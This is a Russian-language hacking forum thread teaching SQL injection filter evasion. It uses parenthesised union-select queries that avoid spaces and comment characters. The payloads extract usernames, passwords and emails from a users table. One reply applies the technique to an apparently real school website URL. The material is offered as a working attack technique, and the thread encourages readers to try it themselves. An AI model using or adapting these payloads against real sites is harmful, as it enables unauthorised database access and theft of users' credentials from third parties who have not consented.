![]() |
Небольшой очерк 2 - Фильтрация
Тянет меня видимо раз в полгода писать что то подобное.
Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC: -Пробел %2B, + -Табуляция %09 -Возврат каретки %0D -Перевод строки %0A -Составляющие комментариев -, /, * *Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не пришлось бы использовать комментарии 1. Например вот такой скрипт фильтрации: PHP код:
2. PoC Код:
mysql> select * from news;Код:
mysql> select news_name, news_theme, news from news where news_id=1;Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3));--- Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,email)),(concat_ws(0x3a,database(),user())),(null)from(users)where(id)like(1));3 ... 4 PROFIT PS Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает. PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить. PPPS Если не понятна логика построения таких запросов, спрашивайте. eof |
Мой пост можете не читать :)
Цитата:
PHP код:
|
Нашли до чего доебаться, суть не в этом
|
вообще-то боян страшный..
|
баян, но ладно)
Слип молодец :-* |
Как к примеру сюда применить?
так работает Цитата:
Цитата:
|
farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+
Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев. |
кстати про %0b забыл
|
Добавил
|
Я пока ниразу не встречал, где бы это нужно было)
Но спасибо, буду знать ;) |
| Время: 17:19 |